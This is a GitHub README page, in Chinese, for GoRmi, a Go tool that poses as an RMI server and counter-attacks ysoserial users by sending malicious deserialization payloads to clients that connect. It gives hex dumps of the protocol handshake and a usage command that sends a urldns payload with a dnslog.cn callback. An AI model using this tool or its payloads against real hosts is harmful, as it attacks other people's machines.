Skip to content

该项目是通过go语言实现防止rmi利用被反置的问题。

License

Notifications You must be signed in to change notification settings

Firebasky/GoRmi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

GoRmi

介绍

该项目是通过go语言实现防止rmi利用被反置的问题。反序列化小子捕获器-反制ysoserial

通过简单的协议分析。

image-20211230010433011

client--->server
    4a524d4900024b
    length:7
Header:
    0x4a 0x52 0x4d 0x49 Version Protocol
Version:
    0x00 0x01
Protocol:
    StreamProtocol
    SingleOpProtocol
    MultiplexProtocol
StreamProtocol:
    0x4b
SingleOpProtocol:
    0x4c
MultiplexProtocol:
    0x4d
    
server--->client
	4e00093132372e302e302e310000xxxx  随机 为客户端的随机port
	length:16
	4e 长度 服务端的主机名 随机port
	
client--->server
	000b 31302e32332e37312e3334 00000000      11	
	前面2个字节是后面ip的长度16进置
	xx ip xxxx
	length:17
Server -> Clientclient--->server
(yso中带的)
50aced00057722000000000000000000000000000000000000000000000000000144154dc9d4e63bdf
length:41
	
server--->client
51aced0005770f01e4d810120000017e0572075e8004757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000274000c48656c6c6f5365727669636574001270776e656433373233303338373837303030

client--->server
52

server--->client
53

client--->server
恶意数据

使用

在cli文件夹中进行编译,然后就可以利用

GoRmi.exe --ip 127.0.0.1 --port 9001 --payload urldns  --cmd "http://wb72qk.dnslog.cn"

项目中是通过二进制数据实现的gadgets,所以有一部分gadget不好构造(太懒了),所以就没有全部完成。感兴趣的师傅可以进行pr操作。

谢谢!!!

特别说明

因为自己不擅长go语言,所以参考了大哥4ra1n的Gososerial项目,并且在atao大哥的帮助下完成了该项目。

可能你感觉代码写的非常垃圾,确实是这样的,不过还是希望帮助到你。

最后

如果感觉不错,希望给出你宝贵的star。

About

该项目是通过go语言实现防止rmi利用被反置的问题。

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages